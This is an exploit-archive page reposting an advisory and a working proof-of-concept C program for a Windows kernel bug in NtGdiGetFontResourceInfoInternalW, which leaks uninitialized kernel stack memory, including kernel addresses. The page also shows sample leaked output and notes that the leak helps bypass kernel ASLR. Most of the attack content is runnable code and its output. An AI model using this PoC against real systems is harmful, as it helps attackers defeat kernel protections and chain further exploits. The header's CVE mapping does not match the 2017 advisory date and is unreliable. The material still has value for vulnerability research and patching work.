Advertisement






Microsoft Windows Kernel win32k!NtGdiGetFontResourceInfoInternalW Stack Memory Disclosure

CVE Category Price Severity
CVE-2020-1048 CWE-200 $50,000 High
Author Risk Exploitation Type Date
Unknown Critical Local 2017-09-19
CVSS EPSS EPSSP
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017090145

Below is a copy:

Microsoft Windows Kernel win32k!NtGdiGetFontResourceInfoInternalW Stack Memory Disclosure
/*

We have discovered that the nt!NtGdiGetFontResourceInfoInternalW system call discloses portions of uninitialized kernel stack memory to user-mode clients.

This is caused by the fact that for user-specified output buffer sizes up to 0x5c, a temporary stack-based buffer is used by the syscall for optimization. As opposed to the pool allocation, the stack memory area is not pre-initialized with zeros, and when it is copied back to user-mode in its entirety, its contents disclose leftover kernel stack bytes containing potentially sensitive information.

The vulnerability is fixed in Windows 10, which has the following memset() call at the beginning of the function:

--- cut ---
.text:0025F9E6                 push    5Ch             ; size_t
.text:0025F9E8                 push    ebx             ; int
.text:0025F9E9                 lea     eax, [ebp+var_118]
.text:0025F9EF                 push    eax             ; void *
.text:0025F9F0                 call    _memset
--- cut ---

This indicates that Microsoft is aware of the bug but didn't backport the fix to systems earlier than Windows 10. The issue was in fact discovered by cross-diffing the list of memset calls between Windows 7 and Windows 10, which illustrates how easy it is to use exclusive patches for one system version to attack another.

The attached proof-of-concept program demonstrates the disclosure. An example output is as follows:

--- cut ---
00000000: 00 00 00 00 a9 fb c2 82 02 00 00 00 19 00 00 00 ................
00000010: 00 00 00 00 46 69 6c 65 a8 6f 06 89 46 69 6c 65 ....File.o..File
00000020: c8 00 00 00 ff 07 00 00 00 00 00 00 00 30 06 89 .............0..
00000030: 00 08 00 00 46 02 00 00 68 72 b8 93 d0 71 b8 93 ....F...hr...q..
00000040: a8 71 b8 93 00 8b 2e 9a 98 a8 a2 82 68 8b 2e 9a .q..........h...
00000050: fa a8 a2 82 a8 71 b8 93 46 69 6c e5 ?? ?? ?? ?? .....q..Fil.....
--- cut ---

Only the first four bytes of the data are properly initialized to 0x00, while the rest are visibly leaked from the kernel stack and contain a multitude of kernel-space addresses, readily facilitating exploitation of other memory corruption vulnerabilities.

The bug is limited to leaking at most ~0x5c bytes at a time, as specifying a larger size will provoke a correctly padded pool allocation instead of the stack-based buffer.

Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <cstdio>

// Undocumented definitions for the gdi32!GetFontResourceInfoW function.
typedef BOOL(WINAPI *PGFRI)(LPCWSTR, LPDWORD, LPVOID, DWORD);

VOID PrintHex(PBYTE Data, ULONG dwBytes) {
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

int main() {
  // Resolve the GDI32!GetFontResourceInfoW symbol.
  HINSTANCE hGdi32 = LoadLibrary(L"gdi32.dll");
  PGFRI GetFontResourceInfo = (PGFRI)GetProcAddress(hGdi32, "GetFontResourceInfoW");

  // Trigger the vulnerability and dump kernel stack output. The code assumes that Windows is
  // installed on partition C:\ and the C:\Windows\Fonts\arial.ttf font is present on disk.
  BYTE OutputBuffer[0x5c] = { /* zero padding */ };
  DWORD OutputSize = sizeof(OutputBuffer);
  if (!GetFontResourceInfo(L"C:\\Windows\\Fonts\\arial.ttf", &OutputSize, OutputBuffer, 5)) {
    printf("GetFontResourceInfo failed.\n");
    return 1;
  }

  PrintHex(OutputBuffer, sizeof(OutputBuffer));

  return 0;
}

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.